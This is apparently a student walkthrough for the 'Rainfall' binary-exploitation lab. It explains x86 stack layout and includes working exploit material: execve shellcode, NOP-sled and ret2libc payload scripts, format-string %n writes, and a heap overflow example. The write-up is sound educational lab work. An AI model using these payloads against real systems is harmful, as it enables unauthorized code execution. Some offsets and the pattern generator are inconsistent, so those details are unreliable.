Rainfall - Binary Exploitation and Memory Corruption
Introduction :
Memory corruption vulnerabilities occur when a program incorrectly handles data writes, allowing an attacker to overwrite critical sections of system memory. When exploited on the call stack, an attacker can overwrite the saved return address (EIP), seizing control of the program’s execution flow. Rainfall is where this theory becomes practice — every level is a compiled C binary, and every binary has a flaw waiting to be found and weaponized.
Project goals :
Rainfall is a 1337 project that deepens the concepts introduced in Snowcrash. The focus shifts entirely to binary exploitation on a 32-bit x86 architecture. You must analyze vulnerable C binaries, identify flaws such as buffer overflows and format string vulnerabilities, and craft specific exploits to redirect execution — either to injected shellcode or to existing library functions (ret2libc) — to spawn a shell and run getflag.
The x86 Call Stack :
Understanding the stack layout is essential before any exploitation attempt. When a function is called on 32-bit x86:
1
2
3
4
5
6
7
8
9
10
11
12
Higher addresses
┌─────────────────────┐
│ function arguments │ ← pushed by caller before CALL
├─────────────────────┤
│ saved EIP (ret addr)│ ← pushed by CALL instruction
├─────────────────────┤
│ saved EBP │ ← pushed by function prologue (push ebp)
├─────────────────────┤
│ local variables │ ← allocated by "sub esp, N"
│ [buffer here] │
└─────────────────────┘ ← ESP points here (top of stack = low address)
Lower addresses
Overflowing the local buffer upward overwrites the saved EBP, then the saved EIP — which is read by the ret instruction to know where to jump next.
Walkthrough :
:one: Initial Setup and Disassembly :
Connect via SSH to the Rainfall VM. Upon accessing a level, use GDB with Intel syntax to disassemble the target binary. The first goal is to identify dangerous functions: gets, strcpy, scanf, printf called without a format specifier.
1
2
3
4
5
6
7
8
9
$ gdb -q ./level0
(gdb) set disassembly-flavor intel
(gdb) info functions # list all functions (look for custom ones)
(gdb) disassemble main
(gdb) disassemble vulnerable_func
# From outside GDB, quick static recon:
$ strings ./level0 | grep -E "/bin|flag|pass|auth"
$ objdump -d -M intel ./level0 | grep -A 5 "call.*gets\|call.*strcpy"
:two: Determining the Buffer Overflow Offset :
The offset is the number of padding bytes needed before the 4-byte value that will overwrite the saved EIP.
Method 1 — Manual calculation from disassembly:
1
2
3
(gdb) disassemble main
; Look for: sub esp, 0x58 → 88 bytes of local space
; Saved EBP is 4 bytes above locals → offset = 88 + 4 = 92
Method 2 — Cyclic pattern (most reliable):
1
2
3
4
5
6
7
8
9
10
11
12
13
# Generate a cyclic pattern with GDB-PEDA or manually:
$ python3 -c "
import string
chars = string.ascii_lowercase
pat = ''.join(chars[i:i+4]*4 for i in range(0, len(chars), 4))
print(pat[:200])"
(gdb) run <<< $(python3 -c "print('A'*200)")
# Program crashes with EIP = 0x41414141 or some sub-pattern
# Then narrow down:
(gdb) run <<< $(python3 -c "print('A'*80 + 'BBBB')")
# If EIP = 0x42424242 → offset is exactly 80
:three: Crafting and Injecting Shellcode :
When the stack is executable (no NX bit), inject machine code directly into the buffer and redirect EIP to it.
Classic x86 Linux execve("/bin/sh") shellcode (23 bytes):
1
2
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
This corresponds to: xor eax, eax push eax ; null terminator push 0x68732f2f ; “//sh” push 0x6e69622f ; “/bin” mov ebx, esp ; ebx → “/bin//sh” push eax ; envp = NULL push ebx ; argv[0] = “/bin//sh” mov ecx, esp ; ecx → argv mov al, 0xb ; execve syscall number int 0x80
NOP sled + shellcode payload:
1
2
3
4
5
6
7
8
$ python3 -c "
import struct
offset = 76
nop = b'\x90' * 50
shellcode= b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
eip = struct.pack('<I', 0xbffff700) # address within NOP sled
padding = b'A' * (offset - len(nop) - len(shellcode))
print((nop + shellcode + padding + eip).decode('latin-1'))" | ./levelXX
Find the stack address to target using GDB — set a breakpoint at the vulnerable function and inspect $esp:
1
2
3
(gdb) break *0x08048450
(gdb) run <<< $(python3 -c "print('A'*80)")
(gdb) x/40x $esp
:four: Return to libc (ret2libc) :
When the stack is non-executable (NX bit set), shellcode injected onto the stack will trigger a segfault. Instead, overwrite EIP with the address of system() from libc, followed by a fake return address, followed by a pointer to the string "/bin/sh" (which already exists inside libc).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Find the addresses at runtime:
(gdb) break main
(gdb) run
(gdb) print system → $1 = 0xb7e6b060
(gdb) find &system, +9999999, "/bin/sh" → 0xb7f8cc58
(gdb) info symbol 0xb7e5ebe0 # find exit() address for clean fake ret
$ python3 -c "
import struct
offset = 76
system_addr = struct.pack('<I', 0xb7e6b060)
exit_addr = struct.pack('<I', 0xb7e5ebe0) # fake return address
binsh_addr = struct.pack('<I', 0xb7f8cc58)
payload = b'A' * offset + system_addr + exit_addr + binsh_addr
import sys; sys.stdout.buffer.write(payload)" | ./levelXX
The stack layout the payload builds:
1
2
[ padding (76 bytes) ] [ system() ] [ exit() ] [ ptr to "/bin/sh" ]
↑ EIP ↑ ret ↑ argument
:five: Exploiting Format String Vulnerabilities :
When user input is passed directly as the format argument to printf, the attacker controls the format string.
Reading the stack (info disclosure):
1
2
$ echo "%08x.%08x.%08x.%08x.%08x" | ./levelXX
bffff640.00000000.b7fd1ac0.b7ff37d4.41414141
Each %08x pops a 4-byte value off the printf argument list — revealing stack contents. Count the position to find where your input buffer starts on the stack (the “format string offset”).
Writing with %n:
%n writes the count of bytes printed so far to the address pointed to by the corresponding argument. This allows arbitrary writes by placing a target address in the input and using %n at the right position.
1
2
3
4
5
6
7
8
# Overwrite address 0x08049828 with the value 0x42 (66 decimal)
# Assuming format string offset is 4:
$ python3 -c "
import struct
target = struct.pack('<I', 0x08049828) # address to overwrite (e.g. GOT entry)
# Print 66 - 4 = 62 chars, then %4\$n to write to position 4 on the stack
payload = target + b'%62d' + b'%4\$n'
import sys; sys.stdout.buffer.write(payload)" | ./levelXX
For complex writes (large values, 2-byte writes), use the %hn specifier (writes 2 bytes) to split a 4-byte address into two separate 2-byte writes.
:six: Heap-based Buffer Overflows :
Some levels allocate buffers on the heap using malloc. A heap overflow overwrites adjacent heap metadata or adjacent allocated chunks — potentially corrupting function pointers stored on the heap.
1
2
3
# Typical vulnerable pattern:
char *buf = malloc(64);
gets(buf); // overflows heap chunk
Use GDB to inspect the heap layout:
1
2
3
(gdb) break malloc
(gdb) run
(gdb) x/40x 0x0804b000 # inspect heap region after allocation
Identify what lies adjacent to the overflowed buffer — a function pointer, a FILE* stream pointer, or a vtable pointer are all high-value targets.
Questions and answers
:question: What is the Instruction Pointer (EIP/RIP) and why is overwriting it powerful?
The instruction pointer is a CPU register that holds the memory address of the next instruction the processor will execute. After every
retinstruction, the CPU pops the saved EIP from the stack and jumps to it. If an attacker has overwritten that stack slot with an address of their choosing (via a buffer overflow), execution continues from their target — which could be shellcode, a libc function, or a ROP gadget.
:question: Why is the gets() function universally dangerous?
gets()reads characters from stdin and stores them into a buffer until it encounters a newline or EOF, performing no bounds checking. There is no version ofgets()that is safe — there is no way to tell it how large the buffer is. It was deprecated in C99 and removed entirely from C11. Any binary callinggets()is trivially vulnerable to a stack buffer overflow.
:question: What is a NOP sled and why is it used?
A NOP (
\x90) sled is a sequence of No-Operation instructions placed before shellcode in an exploit payload. Since stack addresses vary slightly between runs (due to differing environment variable lengths,LD_PRELOAD, etc.), pointing EIP anywhere within the NOP sled is sufficient — the CPU executes each NOP instruction in sequence and “slides” directly into the shellcode. A larger sled increases the probability of a successful hit.
:question: How does ret2libc bypass the NX (No-Execute) protection?
NX marks stack and heap pages as non-executable at the CPU’s MMU level. Any attempt to jump to and execute code on the stack causes an immediate hardware fault. ret2libc bypasses this by never executing new code — instead, it redirects EIP to the beginning of
system(), which already lives in a legitimate executable page (libc). The exploit reuses existing code already in memory, so the NX bit is irrelevant.
:question: How do you find the offset of your format string input on the stack?
Send a recognizable pattern in your input (e.g.,
AAAA=0x41414141) followed by multiple%08xspecifiers. Count how many%08xtokens you need before41414141appears in the output — that count is the format string offset. With%N$xsyntax you can directly reference position N on the stack, making exploitation precise and deterministic.
:question: What is the difference between a stack overflow and a heap overflow?
A stack overflow corrupts the function call frame — specifically the saved EBP and saved EIP — giving direct, precise control over the return address and thus the next instruction executed. A heap overflow corrupts adjacent heap chunks or embedded metadata (size fields, forward/backward free-list pointers). The exploitation primitive is less direct: it typically requires corrupting heap structures in a way that leads to an arbitrary write (e.g., the classic dlmalloc unlink exploit) or overwriting a function pointer stored on the heap.
Ressources :
- Smashing The Stack For Fun And Profit : http://phrack.org/issues/49/14.html
- x86 Assembly Language Reference : https://www.cs.virginia.edu/~evans/cs216/guides/x86.html
- Format String Exploitation (OWASP) : https://owasp.org/www-community/attacks/Format_string_attack
- LiveOverflow Binary Exploitation Series : https://liveoverflow.com/
- pwntools — CTF Exploit Framework : https://docs.pwntools.com/en/stable/
- GDB-PEDA : https://github.com/longld/peda
- Linux x86 Syscall Table : https://syscalls.kernelgrok.com/
- Return-to-libc Attacks Explained : https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc